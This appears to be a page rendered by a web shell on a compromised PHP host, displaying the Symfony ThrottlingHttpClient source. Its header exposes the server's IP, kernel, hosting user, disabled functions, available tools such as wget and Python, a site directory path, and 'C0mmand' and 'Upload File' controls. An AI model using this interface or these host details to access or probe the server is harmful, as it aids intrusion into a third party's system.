Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/celkcksm/hrms.ncriptech.com/vendor/symfony/http-client/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpClient; use Symfony\Component\RateLimiter\LimiterInterface; use Symfony\Contracts\HttpClient\HttpClientInterface; use Symfony\Contracts\HttpClient\ResponseInterface; use Symfony\Contracts\Service\ResetInterface; /** * Limits the number of requests within a certain period. */ class ThrottlingHttpClient implements HttpClientInterface, ResetInterface { use DecoratorTrait { reset as private traitReset; } public function __construct( HttpClientInterface $client, private readonly LimiterInterface $rateLimiter, ) { $this->client = $client; } public function request(string $method, string $url, array $options = []): ResponseInterface { $response = $this->client->request($method, $url, $options); if (0 < $waitDuration = $this->rateLimiter->reserve()->getWaitDuration()) { $response->getInfo('pause_handler')($waitDuration); } return $response; } public function reset(): void { $this->traitReset(); $this->rateLimiter->reset(); } }